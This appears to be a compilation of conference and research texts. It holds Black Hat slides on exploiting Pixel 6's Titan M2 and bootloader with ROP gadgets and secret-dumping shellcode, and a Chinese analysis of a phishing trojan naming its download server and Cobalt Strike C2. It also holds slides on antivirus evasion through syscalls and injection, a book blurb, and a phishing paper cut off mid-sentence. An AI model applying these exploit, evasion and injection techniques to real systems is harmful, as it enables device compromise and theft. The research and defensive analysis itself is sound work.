<=== overwritten by attacker … /*0x0164*/ cbor.buffer; <=== overwritten by attacker … bool eicPresentationPushReaderCert(...) { // … ctx->readerPublicKeySize = publickey_length; // sizeof(ctx->readerPublicKey) == 65 // publickey_length < 1024 memcpy(ctx->readerPublicKey, publickey, publickey_length); return true; } ● Exploitation: ○ Use the vulnerability to load cbor.buffer and cbor.bufferSize with attacker-controlled values ○ Invoke eicCborAppendString to write at cbor.buffer number of cbor.bufferSize attacker-controlled bytes ● This enables code execution in Identity task only ○ Titan implements task isolation ■ cannot access other tasks’ memory #BHUSA   @BlackHatEvents Information Classification: General Achieving Code Execution in Identity task Attacker Set Identity state #1 Set Identity state #2 ICinitializeRequest Set Identity state #3 Identity task Advance Identity to the state for step #2 Advance Identity to the state for step #3 Global `cbor` is set to the attacker-controlled value Advance Identity to the state for step #5 ICstartRetrieveEntryValueRequest Overwrite Identity globals ICpushReaderCertRequest ICgenerateSigningKeyPairRequest Set Identity state #4 Deliver ROP shellcode and run it Advance Identity to the state for step #6 ICstartRetrieveEntriesRequest ICstartRetrieveEntriesRequest Step #1: Step #2: Step #3: Step #4: Step #5: Step #6: Overwrite return address on the stack and run ROP chain #BHUSA   @BlackHatEvents Information Classification: General ● Exfiltrate Weaver’s secrets stored in the secure file system: ○ Weaver provides secure storage for user/platform secrets ○ Throttles consecutive failed verification attempts ● Use OOB write in globals to gain code execution in Titan M2: ○ ROP shellcode running a sequence of arbitrary syscalls Exfiltrating Weaver’s secrets from Titan M2 User Weaver store secret retrieve secret store secret & password in secure flash secret & password verify password: OK valid password retrieve secret secret retrieve secret verify password: WRONG incorrect password throttle timeout Flash store data read password read secret read password read secret code execution on Titan #BHUSA   @BlackHatEvents Information Classification: General Titan Shellcode: Script ● Each task in Titan M2 has access to a dedicated file system: ○ Every task has an isolated file system on the secure flash ○ Titan M2 kernel provides syscalls to access the tasks’ file system ○ Identity task cannot read/write Weaver’s files ● Titan M2 kernel provides syscalls for raw access to the secure flash (e.g. flash_map_page): ○ Syscalls are subject to ACL checks ○ The Identity task is able to access these syscalls due to a gap in ACL policy (the gap has been fixed) ○ Thus, the attacker is able to read/write flash and parse the file system objects // map the target flash page into memory void *page_ptr; flash_map_page(..., &page_ptr); (1) // allocate a shared memory region to send the response to AP struct task_response scs; cmd_alloc_send(&scs, ...); (2) // copy flash contents into the shared memory region memcpy(scs.response_buffer, page_ptr, 2048); // send contents of the shared memory region back to AP over SPI cmd_app_done(&scs); (3) // This forces Titan M2 to go into sleep state. // Use this function to prevent crashing Titan M2: once // it comes out of sleep the identity app will be restarted // and we can start over. usleep(...); (4) #BHUSA   @BlackHatEvents Information Classification: General Titan Shellcode: Finding ROP gadgets .text:000A44BE lw ra, 8+var_s24(sp) .text:000A44C0 lw s0, 8+var_s20(sp) .text:000A44C2 lw s1, 8+var_s1C(sp) .text:000A44C4 lw s2, 8+var_s18(sp) .text:000A44C6 lw s3, 8+var_s14(sp) .text:000A44C8 lw s4, 8+var_s10(sp) .text:000A44CA lw s5, 8+var_sC(sp) .text:000A44CC lw s6, 8+var_s8(sp) .text:000A44CE lw s7, 8+var_s4(sp) .text:000A44D0 lw s8, 8+var_s0(sp) .text:000A44D2 addi sp, sp, 30h .text:000A44D4 ret .text:000B920C mv a7, s8 .text:000B920E mv a2, s4 .text:000B9210 mv a3, s1 .text:000B9212 mv a0, s6 .text:000B9214 mv a1, s5 .text:000B9216 jal eicOpsValidateAuthToken .text:000B921A beqz a0, loc_B91CC .text:000B921C sw s6, 60h(s0) .text:000B9220 sw s5, 64h(s0) .text:000B9224 sw s4, 68h(s0) .text:000B9228 sw s1, 6Ch(s0) .text:000B922A sw s8, 70h(s0) .text:000B922E sw s7, 74h(s0) .text:000B9232 sw s2, 78h(s0) .text:000B9236 sw s3, 7Ch(s0) .text:000B923A j loc_B91CE .text:000B91CE loc_B91CE: .text:000B91CE lw ra, 38h+var_s24(sp) .text:000B91D0 lw s0, 38h+var_s20(sp) .text:000B91D2 lw s1, 38h+var_s1C(sp) .text:000B91D4 lw s2, 38h+var_s18(sp) .text:000B91D6 lw s3, 38h+var_s14(sp) .text:000B91D8 lw s4, 38h+var_s10(sp) .text:000B91DA lw s5, 38h+var_sC(sp) .text:000B91DC lw s6, 38h+var_s8(sp) .text:000B91DE lw s7, 38h+var_s4(sp) .text:000B91E0 lw s8, 38h+var_s0(sp) .text:000B91E2 addi sp, sp, 60h .text:000B91E4 ret .text:000C5922 mv a0, s0 .text:000C5924 j loc_C590E .text:000C590E lw ra, 4+var_s8(sp) .text:000C5910 lw s0, 4+var_s4(sp) .text:000C5912 lw s1, 4+var_s0(sp) .text:000C5914 addi sp, sp, 10h .text:000C5916 ret .text:000A81A4 lw ra, 20h+var_4(sp) .text:000A81A6 lw s0, 20h+var_8(sp) .text:000A81A8 addi sp, sp, 20h .text:000A81AA ret Gadget #1: load values of saved registers s0-s8 and ra from stack Gadget #2: initialize argument registers a1-a3 using saved registers Gadget #3: invoke target syscall (register a0 contains syscall number) Gadget #4: start over #BHUSA   @BlackHatEvents Code Execution in Titan M2: Demo #BHUSA   @BlackHatEvents … And Pixel 6 Was Made More Secure! All identified issues in Titan M2 are mitigated! Fuzzers continuously run internally on ClusterFuzz. #BHUSA   @BlackHatEvents Android BootLoader (ABL) Code Execution #BHUSA   @BlackHatEvents Information Classification: General S-EL1 S-EL0 NS-EL1 EL3 BootROM PBL/BL1 ABL Secure Monitor Trusty Trusty Apps Android Kernel Android Bootloader (ABL) #BHUSA   @BlackHatEvents Information Classification: General Important in Android boot chain Android ABL Overview Lockdown security configurations before kernel is loaded AVB implementation Android kernel loading Recovery environment (fastboot) Bigger attack surface Recovery interface is a historic source of security issues Dealing with arbitrary user input via fastboot implementation Updating/verifying Android boot configurations Kernel signature verification and loading #BHUSA   @BlackHatEvents Information Classification: General ABL Code Execution ● Evaluation approaches ○ Manual code review ● Vulnerabilities ○ CVE-2021-39645: Heap OOB write in gpt_load_gpt_data ○ CVE-2021-39684: Incorrect configured RWX region in ABL ● Prerequisites ○ Write access to /dev/block/by-name/sd{a-d} devices ○ Needs root privilege or extensive physical access #BHUSA   @BlackHatEvents Information Classification: General Missing Size Check ⇒ OOB Write! Pseudo code: int gpt_load_gpt_data() { … gpt_header_t hdr; if (!io_read(&hdr)) { return -1; } if (hdr.entry_count > MAX_ENTRY_COUNT) { return -1; } gpt_entries = (gpt_entry_t*)malloc(sizeof(gpt_entry_t) * MAX_ENTRY_COUNT); size_t size = hdr.entry_count * hdr.entry_size; if (!io_read(gpt_entries, size)) { return -1;} … return 0; } typedef struct { … uint32_t entry_count; uint32_t entry_size; … } gpt_header_t; typedef struct { … } gpt_entry_t; #BHUSA   @BlackHatEvents Information Classification: General size=0x10 p_next=0x???? Exploiting ABL OOB Write Issue size=0x1000 p_next=0x???? HEAP STACK gpt_entries Call Frame LR, … LR, … Payload RWX Region ROP #BHUSA   @BlackHatEvents Information Classification: General ABL Code Execution ● Impact ○ Arbitrary code execution in the context of bootloader at EL1 (Non-Secure) ○ Full persistence on the vulnerable device for the privileged attacker (persistent rooting of Pixel 6) ■ Survives reboots and even OTA updates ○ The device runs the malicious kernel while attestation services believe the platform’s integrity is not violated ■ The exploitation happens before Keymaster is initialized (both on Trusty side and on Titan M2) ■ The exploit can spoof AVB measurements (i.e. boot hash, OS patch level, unlock status) ○ Malicious kernel can use Keymaster-protected secrets #BHUSA   @BlackHatEvents Information Classification: General Demo: ABL Rootkit #BHUSA   @BlackHatEvents Information Classification: General Demo: ABL Rootkit #BHUSA   @BlackHatEvents ● CVEs used: ○ ABL OOB write: CVE-2021-39645 – High ○ ABL RWX memory configuration: CVE-2021-39684 – High ● Patch release date: December 2021 Mitigation for the ABL Code Execution #BHUSA   @BlackHatEvents Conclusion #BHUSA   @BlackHatEvents Information Classification: General Red Team to Secure Pixel Fuzzing bare-metal != easy Your Pixel 6 is Secure Findings help make Pixel more secure Red Team + SDL Integration Invest in Continuous Fuzzing Fuzzers continuously run on centralized infrastructure and discover new issues This helps us scale HAL and good compartmentalization makes fuzzing low-level code easier Mitigations Several of the targets evaluated in this review were missing mitigations: ASLR, CFI, etc. Pixel 6 is the most secure Pixel yet Finding bugs are normal Transparency is good; community grows from knowledge sharing Many Google teams came together to prioritize remediation We’re never done! The team continues testing new features prior to release Concluding Thoughts #BHUSA   @BlackHatEvents Thank You! Questions?
pdf
1 ⼀个图标伪装上线⽊⻢分析 事件背景 分析经过 并不简单 娱乐⼀下 ⽊⻢IOC 加⼊社区 某重要活动结束前⼀天,安全的⽭与盾星球内部交流群⾥有位蓝队兄弟扔出来三个公鸡队样本让群⾥还 在的师傅帮忙分析⼀下,由此便展开了下⾯的分析经过。 ⾸先拿到样本之后,⽤file命令做简单识别,file能识别的⽂件格式还是很多的。但这三个样本不巧,被公 鸡队做了⼿脚,已经混淆了⽂件头。 ⽤010Editor打开⽂件,简单查看了下,发现⽂件当中存在明⽂字符串,整体来说此时样本⽐较奇怪。 事件背景 分析经过 2 这时候坤佬(wonderkun)在群⾥来了句,看出来⽂件混淆的⽅式了,⽤0xEE异或即可得到混淆前的原 ⽂件。具体原理坤佬解释这是统计学:不知道异或的密钥是⼏个字节,所以要统计单字节,双字节和四 字节。 由于pe⽂件中出现最多的是 0x00 ,所以按照单字节统计,出现次数最多的就密钥,双字节,四 字节以此类推。 看⼀下此时⽂件的头部的分布,的确0xEE出现次数最多,坤佬太强了,学到了。 3 按照坤佬的统计,并且结合⽂件后半部分存在明⽂,可得知只是头部数据被0xEE异或混淆,⼤概在 010Editor中查看数据后,发现前0x400字节存在问题,所以只需要对前0x400字节做0xEE异或即可。 4 去除头部的混淆之后,1⽂件为EXE(console)程序,2⽂件为DLL,3⽂件依然是未知格式。 并且1.exe为微软签名的程序,结合2⽂件为DLL,3⽂件未知,以及常⻅的恶意软件loader加载⽅式,这 ⾥猜测2.dll为恶意DLL程序,通过运⾏1.exe实现⽩加⿊DLL劫持,再加载运⾏3样本中实际的后⻔指令。 ⼜通过进⼀步分析,1.exe为MpRunCmd.exe,2.dll应该为mpclient.dll。 5 所以这⾥的mpclient.dll应该就是恶意软件的loader所在模块。IDA中直接载⼊,分析后发现,所有导出函 数都会调⽤loader的加载函数,这样做可以保证loader⼀定会被执⾏。 6 接着对loader函数进⾏分析。⾸先是调⽤ShowWindow隐藏MpCmdRun.exe进程的窗⼝。 然后是获取程序的⽂件名,不过这个Filename始终没有被⽤到,猜测应该是之前从⼀些功能函数⾥copy 的代码,没有删除不必要的函数调⽤。 最后是loader的主要函数,以字符串"kuailele"为解密key解密⽂件当中的后⻔指令,并加载。 7 跟进函数sub_180001870,⾸先是对明⽂字符串进⾏加密、解密,最后还是明⽂字符串,这⾥搞不懂作 者想⼲啥。 此时得到的v2依然为宽字符串"C:\ProgramData\TU.IO"。接下来调⽤sub_180001710并传⼊v2,经过 调试分析,作者⾃实现了GetProcAddress函数,采⽤计算字符串Hash并⽐较的⽅式,规避调⽤系统 GetProcAddress,以及隐藏导⼊表函数的敏感特征。函数sub_180001710的实际作⽤是读取传⼊⽂件名 也就是C:\ProgramData\TU.IO到Func程序全局变量当中。 8 接下来调⽤sub_180001680函数对读取的⽂件内容进⾏解码。 跟进函数sub_180001680,发现函数第⼀个参数是需要解码的buffer,第⼆个参数为buffer的⻓度,第三 个参数也就是a1(这⾥是"kuailele")为key,第四个参数为key的⻓度,并且以key的⻓度-1为循环⻓ 度,对buffer的数据进⾏异或解码。这⾥存在⼀个问题,key的最后⼀个字节没有被⽤到,猜测可能是作 者编写程序循环⻓度判断有些问题,这⾥正常应该以key的全部⻓度为循环异或解码。 9 接下来动态获取函数VirtualProtect并调⽤,修改Func指向地址的内存属性为64,也就是 PAGE_EXECUTE_READWRITE。 10 最后通过EnumObjects回调执⾏Func指向内存的指令。 为了验证分析的结果是否正确,这⾥笔者⽤星球专版CS IceRiver⽣成⼀个64位的beacon.bin⽂件,并 以"kuailele"为key通过循环异或对beacon.bin进⾏编码,将编码后的⽂件复制 到"C:\ProgramData\TU.IO"⽂件当中,然后双击执⾏1.exe,观察IceRiver是否收到beacon权限。 11 可以看到成功接收到了beacon权限,且所在进程为1.exe,这说明分析是正确的。 上⾯分析的是⽩加⿊loader的处理过程,奇怪的问题是即使对样本3⽂件进⾏循环异或编码,获取到的⽂ 件依然是未知格式,并且在010Editor当中也看不到任何明⽂数据,这说明样本3应该还有其他混淆的存 在。群⾥那位蓝队的师傅说,这三个⽂件是通过钓⻥⽊⻢反向溯源到的远程⽂件,也就是说很可能在钓 ⻥⽊⻢当中存在对样本3的解码过程。 并不简单 12 ⾸先按照群⾥师傅提供的信息,这三个样本是在http://112.74.109.76:5559/下载到的。 确定是回连到CobaltStrike监听器。且回连地址为https://service-baw5g4iz- 1309608249.bj.apigw.tencentcs.com,攻击者通过图标伪装的⽅式,诱导⽬标⽤户点击诱饵.exe上线。 由于已经确定是CobaltStrike C2,所以这⾥先决定对teamserver进⾏反制,利⽤CVE-2021-36798尝试 DOS teamserver(可能没有什么效果,但总要尝试⼀下,尽⼈事听天命)。 接下来对钓⻥⽊⻢.exe进⾏分析。IDA载⼊,发现在⼊⼝函数的第⼀个调⽤的函数,被做了⼿脚,突⺎的 出现⼀条直接跳转到text段起始地址的指令。 13 并随着对text开始的指令进⾏分析,“诡异”也越来越多。 14 通过观察,发现text段开始的指令,应该就是添加了垃圾指令的shellcode,这时候为了避免IDA⾃动识别 对分析的⼲扰,将text段开始所在的指令通过010Editor复制到shellcode.bin⽂件当中,这⾥⻓度笔者设 置为到PE⽂件⼊⼝点start处。⽂件起始偏移为0x400,⻓度为0xc7150。 IDA中载⼊保存的shellcode.bin⽂件,以64 bit code反编译,在shellcode⾸地址创建函数,之后借助 IDA F5⼤法反编译代码。 15 虽然作者在⽣成shellcode时采⽤填充了垃圾指令,但由于是jmp直接跳转的⽅式,在IDA中反编译过程当 中,直接被优化掉了,这样也起不到⼲扰分析⼈员的作⽤了。 ⾸先是函数sub_37DD,作⽤是动态获取⼀些函数的地址,并将函数地址存放到函数地址数组中,将该函 数命名为init_functions,参数为function_tables。 16 跟进继续分析,经过动态调试分析发现,sub_3FC9函数为获取内存加载的模块基址,sub_4609函数为 在模块内部搜索对应的函数。 17 对上层调⽤函数进⾏注释。接着作者⾃⼰实现了strlen函数,然后对字符串最后⼀个字节置0,这⾥没有 什么实质的作⽤,这⾥GetCommandLineA相当于获取了当前程序的路径。 18 然后读取当前程序的⽂件内容到内存当中。 接着从偏移0x145C0C处,前0x400字节使⽤0xEE异或解码,最后复制MZ头到头部前2字节。这⾥操作 为解码保存在当前程序当中的PE⽂件。 19 函数sub_1339经过调试,其作⽤为保存解码后的PE⽂件到⽂件当中,并执⾏该EXE⽂件。 接下来需要对解码出来的EXE⽂件进⾏分析,⾸先提取从偏移0x145C0C到⽂件末尾的所有数据,并对数 据的前0x400个字节进⾏0xEE异或解码,然后复制MZ头到⽂件头部,得到⼀个新的EXE⽂件,称之为 stage.exe。 将stage.exe载⼊到IDA当中,反编译main函数,IDA提示 function size too large。这⾥需要修改IDA安 装所在⽬录下的cfg\hexrays.cfg⽂件,将MAX_FUNCSIZE从64修改到10240,再次反编译即可。 20 ⾸先调⽤函数ShowWindow隐藏当前程序窗⼝,再解码编码后的实际地址,传⼊到作者⾃⼰实现的 http_download函数当中,获取远程的⽂件,最后以"POLICE"字符串为解码key,循环异或解码样本3的 数据,并将解码后的数据保存到C:\ProgramData\TU.IO⽂件当中,将样本1保存到 C:\ProgramData\WhitLog⽂件中,样本2保存到C:\ProgramData\BlacLog⽂件中。 由此知道了样本3的上⼀层编码⽅法,对下载到本地的样本3进⾏两次解码,两次解码key分别 为"POLICE"和"kuailele",得到⼀个beacon.bin⽂件,该⽂件即公鸡队⽣成的stageless shellcode⽂件。 21 紧接着还要执⾏⼀段shellcode,⾸先作者通过单字节赋值的⽅式⽣成⼤⻓度的函数体,以此⼲扰分析⼈ 员和达到shellcode静态免杀的效果。 22 之后调⽤sub_140001110函数执⾏shellcode,这⾥执⾏shellcode的⽅式为通过SetPropA和 PostMessageA实现,对于通过该回调函数执⾏shellcode的⽅式⻅到的并不是很多。 下⾯展开对函数sub_140001110的分析。⾸先获取粘贴板窗⼝进程ID。 23 函数sub_140001070的作⽤是判断⽬标进程是否为32位程序。 如果是32位程序,将会结束⽬标程序,什么也不⼲,并返回0。 24 否则将会在⽬标进程通过WriteProcessMemory写⼊shellcode的数据,并通过SetPropA函数设置回调函 数地址为shellcode的地址,并通过PostMessageA函数触发shellcode执⾏。 通过动态调试,将内存当中的shellcode dump到⽂件shellcode_inject.bin⽂件当中,IDA中载⼊,以64 bit mode分析。 25 可以发现,与shellcode.bin的结构很相似,分析步骤相同,这⾥主要关注所做的动作。⾸先是从⽂件 c:\programdata\WhitLog和c:\programdata\BlacLog中读取前⾯stage.exe下载保存的样本1、样本2的 数据,再解码头部前0x400字节数据,再重新写⼊数据到⽂件当中。 然后注册表添加⾃启动,重命名⽩加⿊⽂件,确保在执⾏⽩⽂件后能执⾏loader所在DLL。 26 最后是调⽤函数CreateProcessA执⾏C:\ProgramData\MpCmdRun.exe加载恶意DLL执⾏stageless beacon shellcode上线CS。 ⾄此,钓⻥⽊⻢的所有流程已全部分析完成。 给作者的DLL做下⼿脚,修改编码密钥为"ikun0x00",并且修复作者留下的"bug",使⽤全部的8个字节 解码数据,⽽不是只使⽤前7个字节,修改loader读取的⽂件路径为C:\ProgramData\i.kun。 娱乐⼀下 27 使⽤修改后的算法和key对beacon.bin进⾏编码,复制到C:\ProgramData\i.kun,双击MpCmdRun.exe 观察上线情况。 28 可以看到成功上线。 远程HTTP⽂件服务器:http://112.74.109.76:5559/ ⽊⻢IOC 29 C2 腾讯云API地址:https://service-baw5g4iz-1309608249.bj.apigw.tencentcs.com sha256: 1:abf4a58e2410c9f2ff44b46d6b0fd4c0ef1c87cd2f92b54110b48c6bac58bdd7 2:4b911039f73805932ee8b71e0995e7abd67fb19032a04a25f4bb40f83cbc44a8 3:40df318615a24046c0a20e96b728db4dfc000b126e8cf2f186fcf61cadd5dcf0 钓⻥⽊⻢.exe: 4de7883c5527dab617a70af7d76bc34d1f73ebfe50bf29c40f883ec8db3f2b32 加⼊社区
pdf
A Few Comments on Mind Games "the only way you can tell the truth," a friend at NSA said, "is through fiction" ... so I did ... "Mind Games" is a unique collection of 19 stories of brave new worlds and alternate realities - stories of computer hackers, deception and intelligence, puzzling anomalies, spirituality and mysteries of consciousness, the paranormal, UFOs, alien life forms - in short, everyday life in the 21st century. All have been previously published in literary, slipstream, and science fiction magazines and anthologies but have not been available in a single collection - until now. The most common response to Thieme's writing and speaking is: "You made me think." This first edition is beautifully illustrated and published by Duncan Long Publications. It is available for the Kindle at http://www.amazon.com/dp/B003MC5ETA and in e-pub for the Nook. The retail price is $20 in print or $9.99 for an ebook. “The depth, complexity, and texture of Richard Thieme’s thought processes break the mold.” Brian Snow, Senior Technical Director, NSA (ret) “Thieme’s ability to communicate complex, abstract concepts and personalize them is like verbal origami.” - Jeff Moss, Director, Black Hat, a division of TechWeb/United Business Media, and a member of the DHS HSAC “Silent Emergent, Doubly Dark” is ... very imaginative writing, with a complexity that raises [the story] to the fringes of slipstream. We’re left wondering what’s real and what’s not ....” Steven Pirie, /The Future Fire/ “Beautiful descriptions and intriguing concepts ...” The Fix (UK). “Thieme’s clarity of thinking is refreshing, and his insights are profound.” Bruce Schneier, security technologist and author. “Buy this book!” – Robert Morris, Sr. Chief Scientist, NSA (ret), holding up /Islands in the Clickstream /at the Black Hat Briefings/. / “The reader is left reeling, dizzy with insight.” Robin Roberts, Information Security R&D, CIA (ret) "Richard Thieme takes us to the edge of cliffs we know are there but rarely visit. He wonderfully weaves life, mystery, and passion through digital and natural worlds with creativity and imagination. Delightful and deeply thought provoking reading." - Clint Brooks, former Senior Advisor for Homeland Security and Assistant Deputy Director, NSA “In his writing and speeches, Thieme has never let me down. Always informative, relevant, unpredictable and thoroughly entertaining ... .one of the great thinkers of the cyber-world.” - Larry Greenblatt, InterNetwork Defense insightful review by J. M. Arrigo, a professor familiar with "the dark side" of intelligence operations - This extraordinary book of short stories draws the reader into multiple levels of reality and multiple dimensions. The settings are mostly futuristic, as in engineered societies. But the principles of social engineering are laid bare, inducing the reader to reflect on current values, desires, and markers of progress. The story that resonates most with me is a subtle account of a married couple's evening out with friends, "Incident at Wolf Cave." On return home at night -- by the husband/narrator's account --they are witness to UFOs over a lake. Next day, when the husband remarks on the sighting, the wife denies it. This incident closes the door to the psychic flow between them, and they gradually divorce. A UFO story, yes, but who has not felt this closing of the door when reality changes for one friend but not another? The form of the book, consonant with the theme, veers into another dimension of literature. The short introduction to each story describes the author's relevant life experiences, quests, or critiques. Rather than demystifying the story, the author thereby locks the reader more securely into the mystery of the story. Artist Duncan Long has also provided a sort of portrait introduction to each story, in which the boundary between line drawing and photograph cannot be discerned -- another play on the junctures of different realities. Liking and disliking is maybe not the right attitudinal axis for this book. Better: Are we game for these uncomfortable mental adventures in consciousness and the nature of reality? Comment on Mind Games from a good buddy at one of the agencies: <depressed robot voice> There he is, brain the size of a small planet, and what do they ask him? "Should we file this under fiction or non-fiction, Richard?" You'd think that they'd never considered the possibility that it's all true and all fiction, just ...different dimensions of the same experience...
pdf
Redteaming:主流杀软对抗之路 ABOUT ME ●安全研究员 ●红队攻防,杀软规避研究及武器化它们。 木星安全实验室 ●实验室负责人 ●CompTIA Security+ CISP-PTS CISAW CISP CDPSE 红队作战概览图 研究背景 ●红队攻防的必要因素 ●杀软检测手段的不断升级 目录 静态免杀 动态免杀 自我保护 Bypass之静态免杀 Shellcode加密 IAT导入地址表 混淆编译 Shellcode加密 Shellcode:16进制的机器码。 例如: 杀软查杀cobaltstrike, metasploit等知名远控 通常是通过shellcode特征匹配来进行查杀。 内存加载mimikatz,通常也会将mimikatz转为 shellcode。 Shellcode加密 栅栏密码加密 IAT导入地址表 在PE结构中,存在一个IAT导入表,导入表中声明了这 个PE文件会使用哪些API函数。 ● 定义MyAlloc函数指针 ● 定义MyProtect函数指针 IAT导入地址表 动态调用 IAT导入地址表 未处理 处理后 混淆编译 ADVobfuscator https://github.com/andrivet/ADVobfuscator ADVobfuscator在编译时使用C语言生成混淆代码,它引入了某种形式的机制 以生成多态代码,例如字符串文字的加密和使用有限状态机的调用混淆。 混淆编译 ADVobfuscator效果对比1 混淆编译 ADVobfuscator效果对比2 最终效果 Bypass之行为免杀 Api执行链 延时 系统调用 API执行链 VirtualAllocEx WriteProcessMemory URLDownloadToFile ShellExecute 文件下载 申请内存并写入 ● 启发式扫描是通过分析指令出现的顺序,或 组合情况来决定文件是否恶意。 API执行链 Api间穿插其他干扰性操作 延时 模拟运算 使用素数计算模拟延时 行为免杀测试 ●遍历ntdll.dll的导出函数找到操作码。 ●使用我们的系统调用函数。 系统调用 AV/EDR hook AV / EDR解决方案通常会钩挂用户级Windows API 以便确定所执行的代码是否为恶意代码 系统调用 Windows OS体系结构 系统调用 HellsGate:读取在主机上的ntdll.dll,动态找到系统调用,然后从自己的自定义实现中调用syscall。 ● 原:从内存读取ntdll.dll,用于查找和映射系统调用。 ● 现:从磁盘读取ntdll.dll,用于查找和映射系统调用。 系统调用 HellsGate ●创建具有相同结构的系统调用函数。 ●寻找syscall操作码并将我们的自定义函数指向它们。 http://undocumented.ntinternals.net https://github.com/jthuraisamy/SysWhispers 系统调用 HellsGate ●遍历ntdll.dll的导出函数找到操作码。 ●使用我们的系统调用函数。 行为免杀测试 ●遍历ntdll.dll的导出函数找到操作码。 ●使用我们的系统调用函数。 自我保护 自我保护 DACL:任意访问控制列表 DACL:定义用户,或用户所属的组访问该对象的权限, 对象可以是文件,进程,事件或具有安全描述符的任 何其他内容。 自我保护 ● 通过设置DACL标志位,创建一个用户权限无法 结束的进程。 自我保护 AdjustTokenPrivileges此函数启用或禁用指定访问令牌中的特权。几乎所有需要令 牌操作的特权操作都使用此API函数。 RtlSetDaclSecurityDescriptor函数设置绝对格式安全描述符的DACL信息,或者如果 安全描述符中已经存在DACL,则将其取代。 自我保护 TerminateProcess:终止指定进程及其所有的线程 https://github.com/EgeBalci/Hook_API ●使用hook_api内联汇编挂钩Windows API函数TerminateProcess 自我保护 CreateremoteThread进程注入 将shellcode注入到可能会带来麻烦的进程中,在目标进程中HOOK关键API。 自我保护测试 ●遍历ntdll.dll的导出函数找到操作码。 ●使用我们的系统调用函数。
pdf
Let’s Sink The Phishermen’s Boat! Teo Sze Siong F-Secure Corporation [email protected] BE SURE! Let’s et’s et’s et’s Sink ink ink ink The he he he Phisherm hisherm hisherm hishermeeeen’s n’s n’s n’s Boat oat oat oat!!!! Teo Sze Siong [email protected] Abstract: In recent years, the boom of e-commerce has changed the way people do business and manage their money via online banking. This technology wave has driven banks to invest huge amount of dollars in security infrastructure to protect their daily business operations and to increase their customers' confidence towards them. However, the paradigm has now shifted to the client side attacks as most users are unguarded and vulnerable against cyber attacks which are launched either through technical perspective or social engineering means. Many users still do not understand the risk that they face even when they are using their own trusted computers to perform online banking protected with 2- factor authentication security. In this paper, an advanced form of phishing attack will be discussed to show the risk how criminals might steal the entire fund from an online banking account protected with daily transaction limit and bypassing the 2-factor authentication system. This type of attack is able to work in stealthy mode without showing any theft symptoms in the bank account balance to keep the victims in the dark. Challenges and limitations encountered by the existing phishing detection techniques will be also identified and reviewed to understand the applicability of each technique in different scenarios. As a step taken to combat phishing attacks, the concept of 'website appearance signature' will be presented and explained how this concept can be applied to detect unknown phishing websites. This has been a great challenge in the past since most phishing website detection tools verify the reputation of a website using a database of blacklisted URLs. In addition, a Proof-Of-Concept application employing the 'website appearance signature' combining with conventional phishing detection techniques will be demonstrated to see its' accuracy and effectiveness as a phishing website detection tool. Let’s Sink The Phishermen’s Boat! Teo Sze Siong F-Secure Corporation [email protected] BE SURE! 1. Introduction According to Gartner report, United States adult lost about USD3.2bil in year 2007 due to phishing frauds. Banking industry spent millions of dollars to deploy security systems such as the 2- factor authentication system as a step to increase their customers’ confidence. However, there is a lack of public awareness regarding the risk when performing online banking without observing the proper security measures. In this paper, I present techniques that might be used by criminals to trick their victims into revealing their banking information without raising suspicious symptoms to maintain continuous access. Besides, some techniques that might be employed by malware to steal sensitive information are also described in this paper to show the risk when performing financial related activities on a malware infected machine. 2. Related techniques In recent years, we have seen different techniques being used by malware to help criminals stealing information and remain stealthy either through social engineering or technical implementation. Some of those techniques can be observed from the following: 2.1 Hosts file modification (Pharming attack) In this technique, malware will modify the ‘hosts’ file of the operating system by adding an entry to make the legitimate banking website’s hostname to resolve to the attackers web server IP address. When the victim enters the URL of a legitimate website, the web browser will load the fake banking website hosted by the attacker. This type of attack is known as ‘pharming’. This technique will probably fail when the malware is not running with sufficient privilege to modify the hosts file. Besides, this technique may also trigger an alert on systems installed with IDS/IPS that monitors or prevents hosts file changes. The hosts file for Windows platform by default is located at C:\Windows\System32\drivers\etc\hosts while the hosts file for UNIX based platform is usually located at /etc/hosts. On Windows system, the DNS cache can be cleared to reload the hosts file by issuing a command like ‘ipconfig /flushdns’ while on UNIX based system is usually done by restarting the DNS cache daemon that is selected to be used. Let’s Sink The Phishermen’s Boat! Teo Sze Siong F-Secure Corporation [email protected] BE SURE! 2.2 Keystroke monitoring Very often, malware such as Trojan horses are designed to listen on keystrokes to steal information such as credit card numbers, usernames and passwords on infected machines. Nevertheless, this method is getting less effective as the use of one time password or security token authentication in 2-factor authentication of online banking system makes the stolen information become worthless. This challenges the attackers to shift their strategy to much more sophisticated form of attacks. 2.3 Fake windows form This is basically a form of social engineering attack that shows a professional looking window form that looks like an interface of legitimate software. These fake graphical user interfaces usually ask for credit card number or financial account information such as PayPal to complete purchase or registration of a particular product. Although this method is less seen nowadays, but still there are victims who fall into this kind of trap. 2.4 Web browser modification Web browser functionalities are usually modified by malware through DLL injection or installation of malicious plugins to steal sensitive information entered by the user or stored on the local machine. These attacks usually target Microsoft Internet Explorer web browser due to its insecure design that allows dangerous code execution in ActiveX components. 2.5 API hooking (user mode or kernel mode) API hooking technique has become increasingly popular in recently years employed by malware to prevent antivirus software detection. In the past, API hooking at user mode such as IAT/EAT patching and inline function hook were commonly used for reverse engineering purposes or modify the behavior of a legacy application without source code. The paradigm has now shifted to kernel land using techniques such as Direct Kernel Object Manipulation (DKOM) or patching the System Service Descriptor Table (SSDT). The most dangerous part of this technique when misused is that it can be used not just to steal information, but also capable of hiding the malware process, network sockets, registry keys and files to avoid detection. These features that make it stealthy are commonly known as rootkit behaviour. Fortunately, tools such as F-Secure BlackLight, Rootkit Revealer or SDT Restore are able to detect the presence of rootkit. Let’s Sink The Phishermen’s Boat! Teo Sze Siong F-Secure Corporation [email protected] BE SURE! Advanced phishing attack This section describes an advanced form of phishing attack that might be employed by criminals to steal the entire fund from an online banking account protected with daily transaction limit and bypassing the 2-factor authentication system. The risk of such attack is that criminals can transfer out all the money from their victims’ bank account in several transactions while keeping them in the dark. Although there are several attack techniques can overcome the 2-factor authentication security exists presently, but those techniques work in a ‘hit-and-run’ way thus not capable of drawing out the entire fund from an online banking account that is protected with daily transaction limit. The approach for this attack is to remain stealth by showing the victims fake information such as last login date/time, transaction history, balance amount, etc. that should reflect in their real banking account to prevent the victims from knowing that their banking account is under attack. Therefore, the attacker can have ample time to transfer all the money in several transaction days. Below shows the flow of such attack in different steps: 2.6 Victim logins to the fake banking website using their username, password and one-time-use security token generated from security device or smartcard provided by bank. The attacker uses the login information entered by victim at the fake banking website to login to the real banking website. 2.7 The attacker retrieves information such as account number, last login, transaction history, etc. from the real banking website and stores them to the simulated fake banking website database. 2.8 In online banking systems protected with 2-factor authentication, a security token is required from the user for each transaction to be performed. Whenever the victim enters a security token to perform transaction, the attacker 